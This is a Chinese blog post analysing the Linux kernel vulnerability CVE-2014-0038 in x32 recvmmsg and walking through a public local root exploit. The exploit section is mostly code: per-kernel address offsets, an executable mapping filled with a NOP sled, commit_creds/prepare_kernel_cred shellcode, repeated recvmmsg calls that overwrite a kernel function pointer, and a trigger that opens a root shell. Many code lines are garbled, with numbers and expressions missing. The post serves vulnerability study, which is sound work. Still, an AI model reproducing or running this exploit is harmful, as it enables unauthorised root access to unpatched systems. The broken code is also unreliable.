关键字:CVE-2014-0038,内核漏洞,POC,利用代码,本地提权,提权,exploit,cve analysis, privilege escalation, cve, kernel vulnerability

简介

2014年1月31号时,solar在oss-sec邮件列表里公布了该CVE(cve-2014-0038)。这个CVE涉及到X32 ABI。X32 ABI在内核linux3.4中被合并进来,但RHEL/fedora等发行版并没有开启该编译选项,因此未受该CVE影响。Ubuntu系统在近期的版本中开启了该选项,因此收该CVE影响。X32 ABI就是在64位环境中使用32位地址,效率有所提升,相关信息请参照参考资料或google。

漏洞原理

先看该CVE对应的patch

 #!c++
 diff --git a/net/compat.c b/net/compat.c
 index dd32e34..f50161f
 --- a/net/compat.c
 +++ b/net/compat.c
 @@ -, +, @@ asmlinkage long compat_sys_recvmmsg(int fd, struct compat_mmsghdr __user *mmsg,
     if (flags & MSG_CMSG_COMPAT)
         return -EINVAL;

 -   if (COMPAT_USE_64BIT_TIME)
 -       return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
 -                     flags | MSG_CMSG_COMPAT,
 -                     (struct timespec *) timeout);
 -
     if (timeout == NULL)
         return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
                       flags | MSG_CMSG_COMPAT, NULL);

 -   if (get_compat_timespec(&ktspec, timeout))
 +   if (compat_get_timespec(&ktspec, timeout))
         return -EFAULT;

     datagrams = __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
                    flags | MSG_CMSG_COMPAT, &ktspec);
 -    && put_compat_timespec(&ktspec, timeout))
 +    && compat_put_timespec(&ktspec, timeout))
         datagrams = -EFAULT;

     return datagrams;

该CVE引入的原因就是没有对用户空间的输入信息进行拷贝处理,直接将用户空间输入的timeout指针传递给__sys_recvmmsg函数进行处理。

正如patch中的修改方式,当timeout参数非空时,调用compat_get_timespec先对timetout进行处理,而该函数会对用户空间的timeout进行copy处理。

 #!c++
 int compat_get_timespec(struct timespec *ts, const void __user *uts)
 {
         if (COMPAT_USE_64BIT_TIME)
                 ;
         else
                 return get_compat_timespec(ts, uts);
 }

那么我们再来看传递进来的timeout会进行什么操作呢?在 __sys_recvmmsg里面。

 #!c++
 /*
  *     Linux recvmmsg interface
  */

 int __sys_recvmmsg(int fd, struct mmsghdr __user *mmsg, unsigned int vlen,
            unsigned int flags, struct timespec *timeout)
 {
     int fput_needed, err, datagrams;
     struct socket *sock;
     struct mmsghdr __user *entry;
     struct compat_mmsghdr __user *compat_entry;
     struct msghdr msg_sys;
     struct timespec end_time;

     if (timeout &&
         poll_select_set_timeout(&end_time, timeout->tv_sec,
                     timeout->tv_nsec))
         return -EINVAL;

     datagrams = ;

     sock = sockfd_lookup_light(fd, &err, &fput_needed);
     if (!sock)
         return err;

     err = sock_error(sock->sk);
     if (err)
         goto out_put;

     entry = mmsg;
     compat_entry = (struct compat_mmsghdr __user *)mmsg;

     while (datagrams < vlen) {
         /*
          * No need to ask LSM for more than the first datagram.
          */
         if (MSG_CMSG_COMPAT & flags) {
             err = ___sys_recvmsg(sock, (struct msghdr __user *)compat_entry,
                          &msg_sys, flags & ~MSG_WAITFORONE,
                          datagrams);
             )
                 break;
             err = __put_user(err, &compat_entry->msg_len);
             ++compat_entry;
         } else {
             err = ___sys_recvmsg(sock,
                          (struct msghdr __user *)entry,
                          &msg_sys, flags & ~MSG_WAITFORONE,
                          datagrams);
             )
                 break;
             err = put_user(err, &entry->msg_len);
             ++entry;
         }

         if (err)
             break;
         ++datagrams;

         /* MSG_WAITFORONE turns on MSG_DONTWAIT after one packet */
         if (flags & MSG_WAITFORONE)
             flags |= MSG_DONTWAIT;

         if (timeout) {
             ktime_get_ts(timeout);
             *timeout = timespec_sub(end_time, *timeout);
             ) {
                 timeout->tv_sec = timeout->tv_nsec = ;
                 break;
             }

             /* Timeout, return less than vlen datagrams */
              && timeout->tv_sec == )
                 break;
         }

         /* Out of band data, return right away */
         if (msg_sys.msg_flags & MSG_OOB)
             break;
     }

 out_put:
     fput_light(sock->file, fput_needed);

     )
         return datagrams;

     ) {
         /*
          * We may return less entries than requested (vlen) if the
          * sock is non block and there aren't enough datagrams...
          */
         if (err != -EAGAIN) {
             /*
              * ... or  if recvmsg returns an error after we
              * received some datagrams, where we record the
              * error to return on the next call or if the
              * app asks about it using getsockopt(SO_ERROR).
              */
             sock->sk->sk_err = -err;
         }

         return datagrams;
     }

     return err;
 }

该函数中对

  #!c++  poll_select_set_timeout(&end_time, timeout-> timeout->tv_nsec)) 

。设定结束时间。 然后如下的代码保证timeout>=0

 #!c++
 if (timeout) {
     ktime_get_ts(timeout);
     *timeout = timespec_sub(end_time, *timeout);
     ) {
         timeout->tv_sec = timeout->tv_nsec = ;
         break;
     }

     /* Timeout, return less than vlen datagrams */
      && timeout->tv_sec == )
         break;
 }

此外,poll_select_set_timeout会对timespec进行检查,因此传递进来的timeout的tv_sec与tv_nsec必须符合timeout结构体,也就是构造利用地址的时候,地址上下文必须符合特定内容。

 #!c++
 /*
  * Returns true if the timespec is norm, false if denorm:
  */
 static inline bool timespec_valid(const struct timespec *ts)
 {
         /* Dates before 1970 are bogus */
         )
                 return false;
         /* Can't have more nanoseconds then a second */
         if ((unsigned long)ts->tv_nsec >= NSEC_PER_SEC)
                 return false;
         return true;
 }

而 include/linux/time.h中的定义:#define NSEC_PER_SEC 1000000000L

到这里我们知道,只要巧妙的利用timeout的这个特定,构造特定的timeout结构体就可以构造一个特定的地址出来,这样我们就实现提权操作了。

利用代码分析

当前在exploit-db上有2个利用代码,利用原理基本相同,只是选用的构造地址的结构体不同,本文选用http://www.exploit-db.com/exploits/31347/中的exploit代码进行分析。

本exploit代码和其他很多内核提权代码利用方式大致相同,通过使用有漏洞的系统调用将一个特定的内核函数地址修改成用户空间地址,然后将提权代码映射到对应地址的用户空间中,这样当用户调用被修改的特定函数时,内核便执行了相关的提权代码。以下对应该利用代码进行详细说明。

大家都知道,在64位系统中,由于地址较多,内核空间和用户空间只需通过高几位是否为0或1进行区分,内核空间地址的范围是0xffff ffff ffff ffff~0xffff 8000 0000 0000,而用户空间的地址范围是0x0000 7ffff ffff ffff~0x0000 0000 0000 0000。因此只需使用timeout的流程将高位的1变成0即可。

该exploit代码使用net_sysctl_root结构体的net_ctl_permissions函数指针进行利用。由于各个内核版本中不同函数对应的地址不同,因此定义了一个结构体存放各个内核内核版本的函数地址,这样就可以在多个写了特定内核地址的内核上完成提权操作。

 #!c++
 struct offset {
     char *kernel_version;
     unsigned long dest; // net_sysctl_root + 96
     unsigned long original_value; // net_ctl_permissions
     unsigned long prepare_kernel_cred;
     unsigned long commit_creds;
 };

 struct offset offsets[] = {
     {,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
     {"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
     {"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
     {NULL,,,,}
 };

Exploit程序开始就使用该函数映射结构体对当前内核进行检查,获取出要使用的函数地址指针offsets[i]

然后使用net_ctl_permissons的地址进行页对齐,之后将高6*4位变成0,即设定为用户空间地址。

  #!c++  mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) -  mmapped &= 0x000000ffffffffff; 

之后以该地址为基址map一段内存空间,设定该map区域可写、可执行。先用0x90填充该map区域,构造滑梯。然后将提权代码拷贝到该map区域。

 #!c++
 mmapped = (, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, , );

 ) {
     perror("mmap()");
     exit(-);
 }

 memset(();

 memcpy(();

 , PROT_READ|PROT_EXEC) != ) {
     perror("mprotect()");
     exit(-);

提权代码是非常传统的内核提权代码,通过调用commit_creds修改进程creds数据结构。注意commit_credsprepare_kernel_cred也是由特定于内核版本的内核地址信息获得,因此也包含在offset结构体中,需要依据特定的内核版本进行设定。

 #!c++
 )))
 getroot(void *head, void * table)
 {
     commit_creds(prepare_kernel_cred());
     ;
 }

 )))
 trampoline()
 {
     asm("mov $getroot, %rax; call *%rax;");
 }

准备环境已经就绪,接下来就需要调用有漏洞的__NR_recvmmsg来进行地址修改。即修改net_sysctl_rootpermissions指针的数值。

 #!c++
 static struct ctl_table_root net_sysctl_root = {
         .lookup = net_ctl_header_lookup,
         .permissions = net_ctl_permissions,
 };

而ctl_table_root的定义为:

 #!c++
 struct ctl_table_root {
         struct ctl_table_set default_set;
         struct ctl_table_set *(*lookup)(struct ctl_table_root *root,
                                            struct nsproxy *namespaces);
         int (*permissions)(struct ctl_table_header *head, struct ctl_table *table);
 };

通过计算ctl_table_root可知:Permissions的位置为net_sysctl_root+96

这样依次使用系统调用的timeout将.permissions的值的高6*4位从之前的1修改为0即可。

 #!c++
 ;i <  ;i++) {
     udp(i);
     retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, , (-i);
     if(!retval) {
         fprintf(stderr,"\nrecvmmsg() failed\n");
     }
 }

通过使用三次该系统调用,依次将0xFF** **** **** ****,0x00FF **** **** ****, 0x0000 FF** **** ****FF修改为00.

执行完毕后,提权程序成功将permissions指向了填充了提权代码的用户空间中。注意:这里必须从高位开始处理,由于各个程序是并行处理的,因此无法准确的保证timeout值和sleep值完全匹配,又由于timeout值的tv_sec>=0,因此只要从高位依次处理就可以避免借位的情况发生。这里也是结构体选取的条件之一。

由于0xff*3 = 765,因此该提权程序需要13分钟才能将permissions指向的地址值变成用户空间的地址值。

万事具备,只欠东风。只要用户调用修改后的net_sysctl_root->permissions即可。

 #!c++
 void trigger() {
     open("/proc/sys/net/core/somaxconn",O_RDONLY);

     ) {
         fprintf(stderr,"not root, ya blew it!\n");
         exit(-);
     }

     fprintf(stderr,"w00p w00p!\n");
     system("/bin/sh -i");
 }

到此,该CVE分析完毕。不得不说该CVE的原理虽然比较简单,但实现最后利用修过的手法还是非常巧妙的,值得学习。

参考

1、http://en.wikipedia.org/wiki/X32_ABI

CVE-2014-0038内核漏洞原理与本地提权利用代码实现分析 作者:seteuid0的更多相关文章

  1. CVE¬-2020-¬0796 漏洞复现(本地提权)

    CVE­-2020-­0796 漏洞复现(本地提权) 0X00漏洞简介 Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品 ...

  2. RHSA-2017:2930-重要: 内核 安全和BUG修复更新(需要重启、存在EXP、本地提权、代码执行)

    [root@localhost ~]# cat /etc/redhat-release CentOS Linux release 7.2.1511 (Core) 修复命令: 使用root账号登陆She ...

  3. RHSA-2017:1842-重要: 内核 安全和BUG修复更新(需要重启、存在EXP、本地提权、代码执行)

    [root@localhost ~]# cat /etc/redhat-release CentOS Linux release 7.2.1511 (Core) 修复命令: 使用root账号登陆She ...

  4. RHSA-2018:0395-重要: 内核 安全和BUG修复更新(需要重启、本地提权、代码执行)

    [root@localhost ~]# cat /etc/redhat-release CentOS Linux release 7.2.1511 (Core) 修复命令: 使用root账号登陆She ...

  5. RHSA-2017:2299-中危: NetworkManager 和 libnl3 安全和BUG修复更新(本地提权、代码执行)

    [root@localhost ~]# cat /etc/redhat-release CentOS Linux release 7.2.1511 (Core) 修复命令: 使用root账号登陆She ...

  6. CVE-2017-16995 Ubuntu16.04本地提权漏洞复现

    0x01 前言 该漏洞由Google project zero发现.据悉,该漏洞存在于带有 eBPF bpf(2)系统(CONFIG_BPF_SYSCALL)编译支持的Linux内核中,是一个内存任意 ...

  7. Potato家族本地提权分析

    原文来自SecIN社区-作者:Zeva 0x00 前言 在实际渗透中,我们用到最多的就是Potato家族的提权.本文着重研究Potato家族的提权原理以及本地提权细节 0x01 原理讲解 1.利用Po ...

  8. Linux Kernel ‘perf’ Utility 本地提权漏洞

    漏洞名称: Linux Kernel ‘perf’ Utility 本地提权漏洞 CNNVD编号: CNNVD-201309-050 发布时间: 2013-09-09 更新时间: 2013-09-09 ...

  9. Linux Kernel ‘kvm_set_memory_region()’函数本地提权漏洞

    漏洞名称: Linux Kernel ‘kvm_set_memory_region()’函数本地提权漏洞 CNNVD编号: CNNVD-201306-343 发布时间: 2013-06-20 更新时间 ...

随机推荐

  1. 利用firefox调试安卓手机端web

    分2部分: 手机: 1.安装最新版firefox 2.打开浏览器,输入about:config 3.设置 devtools.debugger.remote-enabled 值为true devtool ...

  2. oracle物理视图(转)

    近期根据项目业务需要对oracle的物化视图有所接触,在网上搜寻关于这方面的资料,便于提高,整理内容如下: 物化视图是一种特殊的物理表,“物化”(Materialized)视图是相对普通视图而言的.普 ...

  3. 【机器学习】代价函数(cost function)

    注:代价函数(有的地方也叫损失函数,Loss Function)在机器学习中的每一种算法中都很重要,因为训练模型的过程就是优化代价函数的过程,代价函数对每个参数的偏导数就是梯度下降中提到的梯度,防止过 ...

  4. linux-SSR多用户版配置详解

    前述:好久没有玩服务器,今天有一哥们要浏览下external website,就搭建一个新的服务器(本人用Vultr的Japan2.5$/mon centOs7.0 64位) 嗯,条件差不多了,开始啦 ...

  5. Python之路-基本数据类型

    一.数据类型 1.数字 包含整型和浮点型,还有复数2.字符 长度,索引,切片也适用于列表的操作 移除空白 strip() 默认字符串前后的空格,制表符,换行符 strip(";") ...

  6. 老李分享:robotium3.6与4.0 later 的区别 2

    再仔细看了下4.0中的方法:  java.util.ArrayList<android.view.View> getCurrentViews()           Returns an ...

  7. 不可不知的 Android strings.xml 那些事

    相信 strings.xml 已经是大家在 Android 开发中最熟悉的文件之一了,但其实它也有很多需要注意的地方和一些小技巧,知道了这些可以让你的 Android 应用更加规范易用,大家来看看吧. ...

  8. android设备使用usb串口传输数据

    首先介绍两个开源项目一个是Google的开源项目:https://code.google.com/archive/p/android-serialport-api/ 另一个是我们这次介绍的开源项目:h ...

  9. nodejs将JSON字符串转化为JSON对象

    如何将JSON字符串转化为JSON对象? JSON.parse(str)       JSON是javascript的一个内置对象,提供了转换JSON对象与字符串互相转换的方法: 问题来了,道理我都懂 ...

  10. 如何精准高效的实现视觉稿?------前端开发辅助工具AlloyDesigner使用介绍

    AlloyDesigner:http://alloyteam.github.io/AlloyDesigner/ 介绍:AlloyDesigner是腾讯开发的一款工具,其在页面构建过程中,直接嵌入开发的 ...